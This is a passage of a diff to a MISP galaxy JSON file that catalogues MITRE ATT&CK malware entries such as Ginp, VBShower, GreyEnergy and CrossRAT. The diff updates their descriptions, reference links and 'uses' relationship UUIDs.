"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", - "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" ], "synonyms": [ "Bandook" @@ -23332,7 +26432,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23353,14 +26453,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23394,14 +26494,14 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23546,35 +26646,35 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23588,14 +26688,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23609,35 +26709,35 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23656,11 +26756,122 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "308b3d68-a084-4dfb-885a-3125e1a9c1e8", "value": "GreyEnergy - S0342" }, + { + "description": "[Ginp](https://attack.mitre.org/software/S0423) is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from [Anubis](https://attack.mitre.org/software/S0422).(Citation: ThreatFabric Ginp)", + "meta": { + "external_id": "S0423", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0423", + "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html" + ], + "synonyms": [ + "Ginp" + ] + }, + "related": [ + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6146be90-470c-4049-bb3a-9986b8ffb65b", + "value": "Ginp - S0423" + }, { "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.", "meta": { @@ -23687,14 +26898,7 @@ "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23706,6 +26910,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a5e91d50-24fa-44ec-9894-39a88f658cea", @@ -23720,7 +26931,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0253", - "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" ], "synonyms": [ "RunningRAT" @@ -23728,28 +26939,28 @@ }, "related": [ { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23763,7 +26974,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23777,14 +26988,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23845,7 +27056,7 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23873,28 +27084,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23935,20 +27139,6 @@ ], "type": "uses" }, - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -23962,6 +27152,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", @@ -24053,28 +27264,28 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24130,7 +27341,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24165,14 +27376,14 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24191,6 +27402,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c2417bab-3189-4d4d-9d60-96de2cdaf0ab", @@ -24213,28 +27431,28 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24248,7 +27466,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24339,7 +27557,14 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24367,14 +27592,14 @@ }, "related": [ { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24388,14 +27613,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24436,7 +27661,7 @@ }, "related": [ { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24464,7 +27689,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24588,7 +27813,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24602,7 +27827,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24623,7 +27848,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24657,13 +27882,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ @@ -24672,21 +27890,21 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "dest-uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24707,7 +27925,7 @@ "type": "uses" }, { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24721,7 +27939,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24756,14 +27974,28 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24804,7 +28036,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24818,14 +28050,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24839,42 +28071,49 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24915,14 +28154,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24950,7 +28182,7 @@ "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24964,7 +28196,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24992,7 +28224,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25104,14 +28336,14 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25139,7 +28371,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25181,14 +28413,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25202,21 +28434,21 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25230,7 +28462,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25249,6 +28481,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "1f6e3702-7ca1-4582-b2e7-4591297d05a8", @@ -25323,6 +28569,61 @@ "uuid": "35aae10a-97c5-471a-9c67-02c231a7a31a", "value": "Tangelo - S0329" }, + { + "description": "[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)", + "meta": { + "external_id": "S0442", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0442", + "https://securelist.com/recent-cloud-atlas-activity/92016/" + ], + "synonyms": [ + "VBShower" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8caa18af-4758-4fd3-9600-e8af579e89ed", + "value": "VBShower - S0442" + }, { "description": "[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)", "meta": { @@ -25354,28 +28655,28 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" 